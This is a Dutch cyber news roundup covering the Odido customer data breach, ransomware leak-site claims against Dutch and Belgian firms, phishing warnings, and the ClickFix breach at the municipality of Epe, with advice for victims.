Actueel Cyber Nieuws

Criminelen hebben de resterende gestolen klantgegevens van Odido online gepubliceerd. Beveiligingsonderzoeker Troy Hunt van datalekzoekmachine Have I Been Pwned meldt dat het in totaal om 6,1 miljoen klanten gaat. De gepubliceerde data bevat namen, e-mailadressen, telefoonnummers, adresgegevens, rekeningnummers, geboortedata, paspoortnummers, rijbewijzen, door de overheid uitgegeven identiteitsbewijzen, geslacht en opmerkingen van de klantenservice. Odido zelf meldt dat het om volledige naam, adres en woonplaats, telefoonnummer, klantnummer, e-mailadres, rekeningnummer, geboortedatum en identificatiegegevens (paspoort- of rijbewijsnummer en geldigheid) gaat.

De criminelen hebben de gestolen data in batches via hun eigen website gepubliceerd en hebben de afgelopen dagen steeds meer buitgemaakte gegevens openbaar gemaakt, waarbij nu alle data online is gezet. Alle gestolen e-mailadressen zijn toegevoegd aan Have I Been Pwned, waar mensen kunnen controleren of hun gegevens in een bekend datalek voorkomen. Van de eerste gelekte batch e-mailadressen was 58 procent al via een ander datalek bekend bij Have I Been Pwned. Een totaalpercentage voor alle gestolen e-mailadressen is niet bekendgemaakt.

Slachtoffers van het datalek kunnen straks bij de politie kijken of hun gegevens gestolen zijn. De politie heeft in het verleden vaker mensen via de Check je hack-pagina gewaarschuwd als hun gegevens door criminelen waren buitgemaakt en zal dit ook voor Odido-klanten doen. Op dit moment is het echter nog niet mogelijk om de gelekte data van Odido te checken via de Check je hack-pagina.

Bron: Politie

Het Nederlandse bedrijf AkzoNobel, een wereldwijde verffabrikant, is mogelijk slachtoffer geworden van de Anubis ransomware. Cybercrimeinfo ontdekte op 1 maart 2026 dat er 170 Gb aan data zou zijn gecompromitteerd. Het is belangrijk te benadrukken dat dit een claim is van de ransomwaregroep Anubis en nog niet bevestigd is door AkzoNobel zelf.

Bron: Darkweb screenshot

Klanten van Odido kunnen sinds vandaag via de website politie.nl controleren of hun e-mailadres onderdeel is van de data die bij de recente hack van het telecombedrijf is gestolen. Op de "Check je hack"-pagina van de politie kunnen klanten hun e-mailadres invoeren. Wanneer het e-mailadres in de gestolen dataset voorkomt, ontvangen ze een e-mail van de politie met tips over wat te doen. Als het e-mailadres niet in de dataset voorkomt, wordt er geen bericht verstuurd.

De politie laat weten dat de inhoud van de e-mail afhankelijk is van het onderzoek waaruit de gegevens afkomstig zijn. De afgelopen jaren heeft de politie vaker de "Check je hack"-pagina gebruikt om mensen te waarschuwen als hun gegevens door criminelen waren buitgemaakt en de data tijdens een onderzoek was aangetroffen.

klanten van Odido konden eerder al via Have I Been Pwned controleren of hun gegevens waren buitgemaakt. Dit leidde volgens Troy Hunt, oprichter van de datalekzoekmachine, tot een grote toestroom van Nederlandse bezoekers. Naar aanleiding van de hack waarschuwt Odido zelf voor phishingmails die verwijzen naar de cyberaanval en lijken alsof die van Odido komen. In deze mails wordt men onder druk gezet om via een link een (verplicht) “compensatieformulier” in te vullen. Odido benadrukt dat echte e-mails over dit onderwerp uitsluitend van info@mail.odido.nl komen.

Bron: Politie.nl | Bron 2: haveibeenpwned.com

Cybercrimeinfo heeft op het darkweb informatie gevonden over een mogelijk datalek bij de Nederlandse skiwinkel SkiWebShop. Er wordt melding gemaakt van de vermeende verkoop van 81.000 klantgegevens.

Daarnaast wordt er melding gemaakt van een dreigingsactor die gecompromitteerde e-mailaccounts van de EU politie te koop aanbiedt voor 1.000 dollar per stuk. Deze accounts zouden gebruikt kunnen worden om frauduleuze verzoeken om noodgegevens te doen.

Verder claimt een dreigingsactor data te hebben buitgemaakt van SISCONMP (Sistema de Información de Conductores que Transportan Mercancías Peligrosas), het Colombiaanse informatiesysteem voor chauffeurs die gevaarlijke stoffen vervoeren. Ook claimt een dreigingsactor de database van Universidad de Investigación y Desarrollo (UDI) te hebben gehackt. De groep Conquerors Electronic Army heeft de website van Tzur Hadassah aangevallen. Fundação Getulio Vargas is slachtoffer geworden van DragonForce Ransomware, en Grupo D'Arc is geclaimd als slachtoffer van Qilin Ransomware. BD Anonymous heeft de website van EL AL Israel Airlines Ltd. aangevallen, en er is een vermeend lek van paspoorten en geboortecertificaten uit Israël. Eric Davis Dental is slachtoffer geworden van Gunra Ransomware, en er is een vermeend lek van een Human Rights Monitoring Database met VN gerelateerde gegevens over kinderrechten en staatloosheid in meerdere landen. FAD Team claimt Qatar, Saudi-Arabië, Bahrein, Jordanië, Koeweit en de VAE aan te vallen.

Bron: Darkweb

Op 2 maart 2026 zijn er 24 ransomwareclaims geregistreerd, verdeeld over 9 verschillende ransomwaregroepen en 8 landen. De ransomware-groep Play was de meest actieve groep.

De volgende bedrijven en organisaties werden genoemd als slachtoffer van een ransomware-aanval: Gordon/Clifford Realty, Cabka, The Kuker Group, LRA Constructors, Cobblestone Creek Country Club, Project Consulting Services, Go Professional Cases, WCC Technologies Group, Favaro Lavezzo Gill Caretti, IDH Entertainment, Phoenix Systems, Akkök Holding, Grupo D'arc INC, mcfirm.com, precisioncoating.com, Martin, Cukjati & Tom, LLP, Bain Oil Company, SIMETRI Inc, TIW Group, fgv.br, Bravox, Soreco Handala, Israel Opportunity Energy, Southold Town Senior Services / Southold Police Department en AkzoNobel.

De ransomwaregroepen die verantwoordelijk worden gehouden voor de aanvallen zijn Play, Qilin, Ransom, Nightspire, DragonForce, Bravox, Handala, Rhysida en Anubis. De claims komen uit de volgende landen: niet gespecificeerd, en Israël.

Bron: Darkweb

De politie heeft op zondag 1 maart 2026 de versleutelde versie ontvangen van de gestolen dataset van Odido. Klanten en voormalige klanten van Odido kunnen nu op Politie.nl controleren of hun e-mailadres in de dataset voorkomt.

Indien het opgegeven e-mailadres in de dataset staat, is het belangrijk extra alert te zijn. De gestolen gegevens, waaronder volledige naam, woonadres, telefoonnummer, e-mailadres, IBAN en aanvullende klantgegevens bekend bij Odido, zijn in handen van een criminele organisatie.

De combinatie van deze gegevens maakt het voor criminelen mogelijk zich overtuigend voor te doen als medewerker van Odido. De politie adviseert alert te zijn op berichten via e-mail, sms of telefoontjes uit naam van het bedrijf. Neem bij twijfel zelf contact op met Odido via de officiële website of het algemene telefoonnummer.

Bron: Politie

Verffabrikant AkzoNobel heeft een beveiligingsincident gemeld bij een van zijn locaties in de Verenigde Staten. Dit volgt op een claim van een ransomwaregroep die beweert 170 gigabyte aan data van AkzoNobel te hebben buitgemaakt, bestaande uit meer dan 169.000 bestanden. De criminelen achter de Anubisransomware hebben een deel van de gestolen data inmiddels openbaar gemaakt op hun website.

De gelekte data omvat vertrouwelijke overeenkomsten met klanten, e-mailadressen, telefoonnummers, private e-mailcorrespondentie, scans van paspoorten, documenten over materiaaltests en interne technische specificatiesheets. Een woordvoerder van AkzoNobel verklaarde tegenover Bleeping Computer dat het incident beperkt is tot één niet nader genoemde locatie in de Verenigde Staten.

AkzoNobel stelt dat de gevolgen van het incident beperkt zijn en dat er maatregelen zijn genomen om getroffen partijen te waarschuwen. Verdere details over het type incident en de oorzaak ervan zijn niet bekendgemaakt.

Bron: AkzoNobel

Odido waarschuwt haar klanten voor een actuele phishingmail die uit naam van de provider wordt verstuurd. De mail vraagt ontvangers om een "compensatie-aanvraagformulier" in te vullen. Vorige week waarschuwde de Fraudehelpdesk al voor een phishingmail gericht op klanten van Odido, waarin werd gevraagd om gegevens opnieuw te registreren in verband met veiligheidsmaatregelen na het datalek.

De huidige phishingmail speelt in op de cyberaanval en probeert gebruikers onder druk te zetten om via een link een verplicht compensatieformulier in te vullen. Odido benadrukt dat dit geen officiële mail is en adviseert om niet op de links te klikken, geen gegevens in te vullen en de mail direct te verwijderen. Echte e-mails van Odido over dit onderwerp komen uitsluitend van info@mail.odido.nl.

RTL Nieuws meldde eerder dat klanten van Odido ook telefonisch worden benaderd door criminelen. Gebelde personen horen eerst een opgenomen boodschap die zogenaamd van de klantenservice afkomstig is, waarin een compensatie wordt aangekondigd. Wie aan de lijn blijft, krijgt een crimineel aan de lijn die zich voordoet als medewerker van de klantenservice en probeert toegang te krijgen tot de computer of bankrekening van het slachtoffer.

Bron: Odido

Het Amsterdamse trustkantoor BK Group is op 4 maart 2026 getroffen door een ransomwareaanval van de groep Akira. Het bedrijf, officieel BK Corporate International B.V., is gevestigd aan de Zekeringstraat 42 in Amsterdam en staat geregistreerd bij De Nederlandsche Bank (DNB) als trustkantoor. BK Group biedt financiele diensten aan in de corporate en private wealth sector, waaronder het oprichten en beheren van vennootschappen en stichtingen, boekhouding, salarisadministratie en fiscale compliance. Het bedrijf is actief in Nederland, Curacao en Luxemburg.

Akira is een van de meest actieve ransomwaregroepen ter wereld. Sinds de oprichting in maart 2023 heeft de groep wereldwijd meer dan 620 organisaties getroffen en naar schatting zo'n 244 miljoen dollar aan losgeld buitgemaakt. De groep maakt gebruik van dubbele afpersing: naast het versleutelen van bedrijfsdata wordt ook gevoelige informatie gestolen, waarna gedreigd wordt deze openbaar te maken als het losgeld niet wordt betaald. CISA en de FBI hebben meerdere waarschuwingen uitgegeven over Akira. De groep richt zich vooral op het midden- en kleinbedrijf, maar ook grotere organisaties zijn niet veilig.

Bron: Darkweb screenshot

Uit onderzoek van Follow the Money (FTM) blijkt dat het datalek bij Odido, waarbij persoonlijke gegevens van ruim zes miljoen klanten werden gelekt, ook duizenden medewerkers van vitale bedrijven treft. Het gaat onder meer om waterbedrijven, netbeheerders, vitale overheidsinstanties en veiligheidsdiensten. FTM ontdekte dat veel medewerkers zakelijke e-mailadressen gebruiken voor persoonlijke Odido-abonnementen.

Voor het onderzoek vergeleek FTM een lijst met domeinnamen van vitale bedrijven en belangrijke overheidsinstanties met e-mailadressen uit de online gepubliceerde dataset. Dit leverde ruim 16.300 e-mailadressen op, waarvan driekwart zakelijke Odido-klanten betreft. Een kwart van de betrokken personen gebruikte een zakelijk e-mailadres voor een consumentenaccount. Medewerkers van onder meer NXP, Philips, Heijmans, Rabobank, ProRail, TenneT, Alliander, de politie, Schiphol en het Europees Ruimteagentschap zijn getroffen.

ASML laat in een reactie weten dat e-mailadressen van ASML uitsluitend voor zakelijke doeleinden mogen worden gebruikt en dat het gebruik ervan voor privéaccounts in strijd is met de Code of Conduct. Medewerkers worden hierover geïnformeerd en getraind. Scheepsbouwer Damen stelt dat de e-mailadressen in de gelekte data afkomstig zijn van medewerkers die privé abonnementen afsloten. Eerder meldde RTL Nieuws al dat gegevens van bedreigde personen en ministers ook in de gelekte data vindbaar zijn.

Bron: Security.NL

De hack bij Odido, waarbij gegevens van 6,5 miljoen klanten en oud-klanten van het telecombedrijf zijn buitgemaakt, houdt de gemoederen al drie weken bezig. De gestolen data, waaronder nummers van ID-bewijzen, geboortedata, bankrekeningnummers, telefoonnummers en e-mailadressen, zijn op het darkweb verschenen. Het datalek omvat bijna 100 gigabyte aan data, wat het tot het grootste datalek in Nederland tot nu toe maakt.

Techredacteur Joost Schellevis heeft de hack onderzocht en vertelt in de podcast 'De Dag' hoe de hackgroep Shinyhunters te werk is gegaan en wat er nu met de gegevens gebeurt. De data zijn nu vogelvrij en de vraag is hoe zorgvuldig bedrijven omgaan met de gegevens van hun klanten.

Bron: ster.nl | Bron 2: npo.nl | Bron 3: pod.link

Minister Van Weel van Justitie en Veiligheid heeft tijdens het vragenuur in de Tweede Kamer aangegeven dat klanten van Odido zelf veel kunnen doen om vervolgschade als gevolg van het recente datalek te voorkomen. De minister steunt het besluit van Odido om de verantwoordelijke criminelen geen losgeld te betalen. Bij de inbraak in het klantcontactsysteem van Odido zijn de gegevens van ruim 6 miljoen klanten gestolen en gepubliceerd.

D66-Kamerlid El Boujdaini stelde dat er gegevens van tien miljoen mensen op straat liggen, waaronder naam, adres, IBAN, paspoortnummer en interne notities over stalking, huiselijk geweld, schuldhulpverlening en mensen onder bewind. Volgens Van Weel zijn de hackers de schuldigen en hij benadrukte dat het belangrijk is om dit soort criminaliteit aan te pakken en niet te belonen. Hij waarschuwde ook om mensen niet onnodig angst aan te jagen, omdat het feit dat persoonsgegevens op straat liggen niet automatisch betekent dat de veiligheid van mensen in het geding is.

Van Weel adviseerde klanten van Odido om de tips op politie.nl te raadplegen, het wachtwoord van Odido aan te passen en op phishingmails te letten. Hij legde uit dat criminelen de gestolen informatie kunnen gebruiken om zich voor te doen als banken en zo toegang te krijgen tot meer gegevens en geld. De Autoriteit Persoonsgegevens zal onderzoeken of Odido goed is omgegaan met de gegevens van klanten.

Bron: Odido kunnen vervolgschade

Er circuleren frauduleuze sms berichten over een vermeende aankoop van 540 euro bij Shein die nog op bevestiging wacht. In deze berichten wordt de ontvanger gevraagd contact op te nemen met een Belgisch telefoonnummer indien de transactie niet herkend wordt. Safeonweb waarschuwt om hier niet op in te gaan, omdat het om oplichting gaat.

Safeonweb adviseert om niet op links in verdachte berichten te klikken, geen bijlagen te openen en geen applicaties te downloaden. Verdachte e-mails kunnen doorgestuurd worden naar verdacht@safeonweb.be en verdachte sms berichten kunnen als screenshot eveneens naar dit adres worden verzonden, waarna de inhoud automatisch verwerkt wordt.

Wie toch op een verdachte link heeft geklikt, wordt aangeraden de velden niet verder in te vullen en de interactie direct te verbreken. Er mogen nooit persoonlijke gegevens of codes worden doorgegeven. Als een wachtwoord is doorgegeven dat ook elders gebruikt wordt, moet dit onmiddellijk gewijzigd worden.

Slachtoffers van oplichting wordt geadviseerd aangifte te doen bij de lokale politie van hun woonplaats. Daarnaast is het belangrijk om de bank en Card Stop te contacteren op 078 170 170 indien bankgegevens zijn doorgegeven, er geld van de bankrekening verdwijnt of er geld is overgemaakt aan een oplichter. Op die manier kunnen eventuele frauduleuze transacties geblokkeerd worden.

Bron: Safeonweb | Bron 2: cardstop.be

Brussels Airlines heeft in 2025 voor het derde jaar op rij winst gemaakt, maar deze winst is gehalveerd ten opzichte van 2024. De luchtvaartmaatschappij wijt dit aan "verschillende tegenwinden", waaronder nationale vakbondsacties, dronewaarnemingen en een cyberaanval op Brussels Airport.

De maatschappij voerde in 2025 ruim 68.500 vluchten uit, een stijging van 11 procent ten opzichte van het jaar ervoor. Het aantal passagiers steeg met 10 procent tot ruim 9,1 miljoen. De omzet steeg met 7 procent tot 1,6 miljard euro. De aangepaste operationele winst (ebit) daalde echter tot 28 miljoen euro.

De nationale vakbondsacties verstoorden het vliegverkeer zeven keer en kostten het bedrijf 15 miljoen euro. Daarnaast waren er operationele incidenten met een impact op de langeafstandsvloot. Een aantal vliegtuigen stond langer aan de grond door gepland en ongepland onderhoud. Deze uitdagingen met de langeafstandsvloot kostten 19 miljoen euro, mede door de huur van een extern langeafstandsvliegtuig om de problemen te counteren.

CEO Dorothea von Boxberg stelt dat Brussels Airlines ondanks de tegenslagen winstgevend was in 2025, wat de stabiliteit van het bedrijf aantoont. Ze benadrukt de noodzaak van investeringen in vlootvernieuwing, productverbeteringen en de connectiviteit van België.

Bron: VRT NWS

Het Belgische industriële installatiebedrijf Abutriek Service NV uit Anzegem (West-Vlaanderen) is getroffen door de ransomwaregroep Qilin. Het bedrijf, opgericht in 1982, is gespecialiseerd in industriële installaties zoals stoomketels, HVAC, piping en elektrische systemen. Met zo'n 39 medewerkers biedt Abutriek een totaaloplossing, van ontwerp en levering tot installatie en onderhoud. Het bedrijf voert daarnaast energieaudits uit en beschikt over een eigen lascoördinator.

Qilin is een van de meest actieve ransomwaregroepen van dit moment, met inmiddels meer dan 1.500 slachtoffers wereldwijd sinds de start in juli 2022. De groep past dubbele afpersing toe, waarbij zowel losgeld wordt geëist voor het ontsleutelen van bestanden als voor het niet publiceren van gestolen data. De productiesector is het vaakst het doelwit van Qilin, gevolgd door de technologie en zorgsector. Eind 2025 groeide de groep explosief met meer dan 700 aanvallen, en die trend zet zich in 2026 voort. De groep profileert zich als een volledig platform voor cybercriminelen, met onder meer juridische ondersteuning en opslag op petabyteschaal.

De vermelding van Abutriek op de leksite van Qilin werd op 5 maart 2026 ontdekt door Cybercrimeinfo op het darkweb. Het bedrijf heeft zich zelf nog niet publiekelijk uitgesproken over het incident. Het is belangrijk te vermelden dat sommige claims van Qilin in het verleden niet bevestigd konden worden.

Bron: Darkweb screenshot

Westfield Mall of the Netherlands in Leidschendam heeft een datalek gehad waarbij persoonsgegevens van leden en nieuwsbriefabonnees zijn gelekt. Het winkelcentrum heeft de gedupeerden hierover per e-mail geïnformeerd. De gelekte gegevens omvatten voor- en achternaam, e-mailadres, telefoonnummer, postcode en geboortedatum van personen die zich hadden aangemeld voor het loyaliteitsprogramma Westfield Club of de nieuwsbrief. Ook Franse winkelcentra van eigenaar Unibail-Rodamco-Westfield zijn getroffen.

Volgens het bericht aan de gedupeerden heeft er ongeautoriseerde toegang plaatsgevonden tot een database met gegevens van leden van het loyaliteitsprogramma en/of nieuwsbriefabonnees. De wijze waarop de inbraak op de database heeft plaatsgevonden, is niet bekendgemaakt. Het datalek is gemeld bij de Autoriteit Persoonsgegevens.

Op X reageren gedupeerden. Een van hen zegt: "Zet alle persoonsgegevens maar in een openbare database, want bedrijven en overheid zijn niet bereid om geld uit te geven aan behoorlijke beveiliging ervan waardoor alles toch al op straat komt te liggen." Een ander merkt op: "Jullie zijn iets te laat Westfield! Odido heeft al m'n gegevens al op straat gegooid." De Mall of the Netherlands is het grootste overdekte winkelcentrum van Nederland.

Bron: Mall of the Netherlands

Na de hack bij de Nederlandse telecomprovider Odido zijn ook gegevens van Belgische klanten gelekt. Dit blijkt uit onderzoek van de redactie. In de gelekte data zijn 149 telefoonnummers gevonden die aan België gelinkt kunnen worden. Het is nog onduidelijk welke andere gegevens van Belgische klanten zijn gelekt en wat de omvang van het datalek precies is. Odido heeft nog geen details vrijgegeven over de aard van de gestolen data of het aantal getroffen klanten.

Bron: Odido

Het Dordrechtse bedrijf Netwerk NV, onderdeel van de Korevaar Group, is op 7 maart 2026 op de leksite van de ransomwaregroep AiLock verschenen. Netwerk NV is gespecialiseerd in afvalinzameling, containerreiniging en plaagdiermanagement voor bedrijven in de regio Drechtsteden.

AiLock is een relatief nieuwe ransomwaregroep die sinds begin 2025 actief is en zichzelf profileert als "AI ondersteund". De groep wordt in verband gebracht met Russische staatsgerelateerde actoren, al is daar nog geen harde bevestiging voor. In maart 2026 heeft AiLock meerdere organisaties wereldwijd getroffen, waaronder bedrijven in Zuid-Korea, Duitsland en de Verenigde Staten.

Over de hoeveelheid gestolen data of een eventuele deadline voor losgeld is op dit moment niets bekend. Netwerk NV heeft zich nog niet publiekelijk uitgesproken over het incident.

Bron: Darkweb screenshot

De ethisch hacker Inti De Ceukelaire heeft een phishingbende ontmaskerd die zich richtte op Belgische slachtoffers via valse e-mails uit naam van Argenta. De Ceukelaire wist binnen vijf minuten in te breken in de administratiemodule, het digitale hoofdkwartier van de bende, en kon zo de identiteit van de vier daders achterhalen. De bende opereerde vanuit Frankrijk en Marokko.

De Ceukelaire meldde het incident via Safeonweb en speelde de verzamelde informatie door aan de politie, in de hoop dat de bende volledig ontmaskerd en gearresteerd kan worden. Hij verklaarde dat hij het belangrijk vindt om dit soort phishingcampagnes te bestrijden en de verantwoordelijken te stoppen.

De hacker ontdekte dat de phishers in roterende shiften werken en direct een melding krijgen wanneer iemand zijn kaartnummer invoert op de phishingpagina. De Ceukelaire wist niet alleen de meldingen te blokkeren, maar zorgde er ook voor dat Belgische bezoekers van de pagina een waarschuwing kregen dat het om een phishingpagina ging. Dit frustreerde de oplichters, die niet begrepen waarom ze geen meldingen meer ontvingen terwijl hun systeem ogenschijnlijk perfect werkte.

De Ceukelaire herhaalde deze actie een zevental keer, waardoor hij naar eigen zeggen mogelijk enkele tientallen slachtoffers heeft kunnen vermijden. Hij benadrukt dat elke bijdrage, hoe klein ook, helpt in de strijd tegen phishing.

Bron: safeonweb.be

In de Tweede Kamer zijn vragen gesteld aan minister Van Weel van Justitie en Veiligheid over een datalek bij Odido. Beveiligingsonderzoeker Sipke Mellema ontdekte op 3 maart dat Odido-routers analytics-data over apparaten in thuisnetwerken doorstuurden naar het AI-bedrijf Lifemote. Het ging om MAC-adressen, namen van apparaten verbonden met de router, en data van wifi-netwerken en hotspots in de buurt.

Odido heeft aan De Telegraaf laten weten dat het doorsturen van deze gegevens is gestopt door middel van een software-update. De Autoriteit Persoonsgegevens (AP) stelt dat MAC-adressen persoonsgegevens zijn en niet zomaar mogen worden gedeeld.

Kamerlid El Boujdaini van D66 heeft Kamervragen gesteld aan de minister over de privacyrisico's van het verzamelen en delen van deze gegevens, omdat hiermee mogelijk huishoudens kunnen worden herkend of gevolgd. Ook wil het Kamerlid weten of de minister het met de AP eens is dat MAC-adressen persoonsgegevens zijn, en welke eisen er gelden voor het verzamelen en delen van deze gegevens door telecomproviders.

Daarnaast vraagt El Boujdaini naar de risico’s voor de privacy en veiligheid van burgers wanneer grote hoeveelheden metadata over wifi-netwerken en apparaten worden verzameld en mogelijk gecombineerd met andere datasets. De minister is ook gevraagd of er wordt onderzocht of Odido de privacyregels heeft nageleefd en welke stappen Odido richting klanten zou moeten nemen om hen te informeren. El Boujdaini sluit af met de vraag of er strengere eisen moeten worden gesteld aan telecomproviders die AI-diensten gebruiken, zodat gegevens van gebruikers beter worden beschermd en transparanter wordt omgegaan met dataverzameling. De minister heeft drie weken om de vragen te beantwoorden.

Bron: Autoriteit Persoonsgegevens | Bron 2: telegraaf.nl | Bron 3: tweedekamer.nl

Hotelketen Bastion Hotels heeft een datalek gemeld waarbij persoonlijke gegevens van ongeveer zesduizend klanten zijn gelekt. De gelekte data omvat namen, telefoonnummers, adresgegevens, nationaliteiten, boekingsdata, en de laatste vier cijfers met de vervaldatum van creditcards. Het datalek betreft boekingsgegevens van Bastion Hotels in Almere, Amsterdam Airport, Amsterdam Amstel, Amsterdam Noord, Amsterdam Zuidwest, Amersfoort en Apeldoorn.

Het incident vond afgelopen dinsdag plaats, waarbij een medewerker van Bastion Hotels op een phishingmail klikte, zo meldt de hotelketen. De medewerker dacht dat de link naar het reserveringssysteem leidde, maar werd doorverwezen naar een phishingsite. Bastion Hotels onderzoekt momenteel hoe het systeem verder kan worden beveiligd.

Na het datalek werden klanten van Bastion Hotels via sms en WhatsApp benaderd door oplichters die hen vroegen hun gegevens te verifiëren via een meegestuurde link. Bastion Hotels waarschuwt klanten om niet op deze berichten te reageren en niet op de links te klikken. Het datalek is gemeld bij de Autoriteit Persoonsgegevens.

Een anonieme reactie op het artikel vermeldt dat er mogelijk een tweede aanval heeft plaatsgevonden op gegevens van Bastion Hotels in Barendrecht, Barneveld, Bodegraven, Breda, Brielle en Bussum. Er zouden zelfs plannen zijn geweest om gegevens van hotels in Cadzand, Capelle, Castricum, Clinge, Coevorden en Culenborg te achterhalen.

Bron: Security.NL

Cybercriminelen proberen in te spelen op de actualiteit rondom pensioenen door valse e-mails te versturen die afkomstig lijken van mypension.be. Met deze phishingmails proberen ze persoonlijke gegevens, wachtwoorden en codes te ontfutselen, aldus Giselda Curvers, woordvoerder en adviseur-generaal pensioenbeleid bij de Federale Pensioendienst.

De huidige phishingmails lijken sterk op eerdere berichten waarvoor Safeonweb al twee weken geleden waarschuwde. In deze valse e-mails wordt gevraagd om op een link te klikken om bijvoorbeeld 'nieuwe documenten' te bekijken, persoonlijke gegevens bij te werken, bankgegevens te controleren of de identiteit te bevestigen. Vervolgens proberen de oplichters inloggegevens, Itsme-codes of de installatie van een kwaadaardige applicatie te verkrijgen met als doel de slachtoffers te bestelen.

De Federale Pensioendienst is zich bewust van het probleem en heeft een uitgebreide informatiepagina op haar website. Nieuwe gepensioneerden ontvangen een bijlage over phishing en er zijn regelmatig campagnes en waarschuwingen op sociale media. Het advies van Curvers is om bij twijfel niet op links te klikken, maar rechtstreeks naar mypension.be te gaan en te controleren of daar een bericht staat onder 'mijn dossierstatus'.

Wie toch op een verdachte link heeft geklikt en bankgegevens heeft doorgegeven, moet onmiddellijk Card Stop verwittigen op 078 170 170 en aangifte doen bij de politie. De Federale Pensioendienst contacteert burgers altijd via een beveiligde weg, zoals een brief of het online pensioendossier op mypension.be, en nooit per sms. De dienst zal nooit via e-mail om persoonlijke of bankgegevens vragen, maar beantwoordt enkel algemene vragen over pensioenen. Ook zal de Pensioendienst nooit vragen om in te loggen bij de online bank, persoonlijke codes door te geven of op een link voor een betaling te klikken. Telefonisch wordt enkel informatie gevraagd als men zelf naar de Pensioenlijn 1765 belt of als het telefoonnummer bekend is bij de Pensioendienst. Medewerkers van de Pensioendienst komen nooit aan huis.

Het is altijd veilig om zelf naar mypension.be te surfen en in te loggen met eID, Itsme of een digitale sleutel om het dossier te consulteren, of om zelf naar de Pensioenlijn te bellen of een afspraak te maken in een Pensioenpunt.

Bron: Federale Pensioendienst | Bron 2: sfpd.fgov.be | Bron 3: safeonweb.be

De Justitiële ICT Organisatie (JIO), verantwoordelijk voor de ICT van het ministerie van Justitie en Veiligheid, is het afgelopen jaar tweemaal gehackt. Dit blijkt uit onderzoek van Argos. De aanvallers wisten binnen te dringen via een kwetsbaarheid in de Citrix software. Hetzelfde lek werd eerder gebruikt om het Openbaar Ministerie (OM) te compromitteren. Uit angst dat de elektronische enkelbanden van gedetineerden zouden uitvallen, besloot JIO de systemen van deze dienst online te houden.

Bron: BNR

Op 12 maart 2026 is er een cyberinbraak geweest op de ICT-systemen van de gemeente Epe. Hierbij zijn bestanden van een van de netwerkschijven gelekt. De gemeente onderzoekt momenteel om welke gegevens het precies gaat. De inbraak is gemeld bij de Autoriteit Persoonsgegevens.

De gemeente Epe heeft in samenwerking met cybersecurity-experts de systemen gecontroleerd en beveiligd. Hierdoor kon de dienstverlening aan inwoners, instellingen en bedrijven vanaf vrijdag worden voortgezet.

Verder in het nieuws: Een private investeerder heeft veertig miljoen euro toegezegd voor de bouw van de chipfabriek New Origin in Enschede. ConnectPlaza gaat verder als Maicell en benoemt Joost de Bot als nieuwe directeur. IFS lanceert IFS.ai Logistics, een AI-platform voor logistieke aansturing. Nvidia investeert twee miljard dollar in het in Amsterdam gevestigde Nebius en helpt ook AMI Labs. Meta sluit een megacontract.

Bron: Gemeente Epe | Bron 2: bnr.nl | Bron 3: maicell.com

Het aantal meldingen van phishing in Aarschot is in 2025 fors gestegen, zo blijkt uit de jaarcijfers. De politie vermoedt dat het werkelijke aantal slachtoffers hoger ligt, omdat veel mensen uit schaamte geen aangifte doen. In 2025 werden 205 gevallen van phishing gemeld, tegenover 121 in 2024 en 72 in 2023. Korpschef Bart Van Thienen geeft aan dat er ook dit jaar al veel meldingen zijn binnengekomen.

Volgens Van Thienen hebben dieven een manier gevonden om met minder risico geld te stelen via telefoon en internet, waardoor ze minder kans lopen om betrapt te worden. De stijging van het aantal meldingen komt volgens de korpschef deels doordat mensen sneller aangifte doen en zich minder schamen. De politie moedigt slachtoffers aan om aangifte te doen, zodat ze de werkwijze van oplichters kunnen achterhalen en de daders op te sporen.

Bron: VRT NWS

Criminelen hebben via een aanval met ClickFix 600.000 bestanden van de gemeente Epe gestolen. Het gaat om ruim achthonderd gigabyte aan data, zo heeft de gemeente bekendgemaakt. De gestolen bestanden bevatten onder andere persoonsgegevens, zoals namen en adressen. Volgens de gemeente stonden de bestanden op een interne werkschijf en bevatten ze veel verschillende soorten informatie en gegevens. Het onderzoek naar welke gegevens er precies gelekt zijn en van wie, is nog in volle gang vanwege de grote hoeveelheid documenten.

De aanval vond plaats op donderdagmiddag 12 maart. De gemeente kreeg toen een melding van een inbraak in de ict systemen. In samenwerking met cybersecurityexperts zijn de systemen gecontroleerd en weer veilig gemaakt. De inbraak is op 14 maart gemeld bij de Autoriteit Persoonsgegevens. Uit het vervolgonderzoek bleek dat de aanvallers bestanden van een van de netwerkschijven hadden gestolen.

Bij een aanval met ClickFix worden slachtoffers verleid tot het uitvoeren van een commando op hun computer, wat leidt tot de installatie van malware. Aanvallers maken vaak gebruik van CAPTCHA's die gebruikers vragen bepaalde handelingen uit te voeren om de CAPTCHA op te lossen. De CAPTCHA pagina kopieert een malafide PowerShell commando naar het clipboard. Vervolgens wordt het slachtoffer geïnstrueerd om het commando uit te voeren in het Uitvoervenster of de Windows Terminal. Er bestaan ook varianten van ClickFix voor Linux en macOS.

Burgemeester Tom Horn betreurt het dat zowel inwoners als de gemeente Epe slachtoffer zijn geworden van cybercriminelen en dat er gegevens, in het bijzonder persoonlijke gegevens, zijn gelekt. Op de vraag of het datalek voorkomen had kunnen worden, stelt de gemeente dat het moderne beveiligingssystemen heeft die veel aanvallen tegenhouden, maar dat deze specifieke aanval slim en nieuw was. De gemeente onderzoekt nu samen met experts hoe dit toch kon gebeuren en hoe de digitale beveiliging verder kan worden versterkt. aanvallen met ClickFix vinden al zeker twee jaar plaats. De gemeente zal slachtoffers van het datalek per brief informeren zodra meer specifieke informatie bekend is.

Bron: Gemeente Epe

De BASHE ransomwaregroep heeft twee nieuwe slachtoffers toegevoegd aan hun darkweb portaal. Het gaat om: Van Heyghen Staal (België) en ISOSL (België). Cybercrimeinfo ontdekte deze informatie op het darkweb portaal van de ransomwaregroep.

Bron: Darkweb

Energieleverancier Innova Energie heeft zijn klanten gewaarschuwd voor een datalek waarbij persoonsgegevens zijn gestolen door een medewerker. De gestolen gegevens omvatten voornaam, achternaam, geboortedatum, telefoonnummer, e-mailadres, adresgegevens, bankrekeningnummer en tenaamstelling.

In een e-mail aan getroffen klanten meldt Innova Energie dat direct maatregelen zijn genomen om het incident te onderzoeken en de beveiliging verder te verscherpen. De betreffende medewerker is niet langer werkzaam voor het bedrijf. Innova Energie heeft aangifte gedaan bij het Openbaar Ministerie en het datalek gemeld bij de Autoriteit Persoonsgegevens.

Het is niet bekend van hoeveel klanten de gegevens zijn buitgemaakt. Innova Energie zegt "alle noodzakelijke acties" te nemen om een dergelijk incident in de toekomst te voorkomen. Enkele jaren geleden werd een medewerker van een ander energiebedrijf veroordeeld voor het misbruiken van klantgegevens bij bankhelpdeskfraude.

Bron: Innova Energie

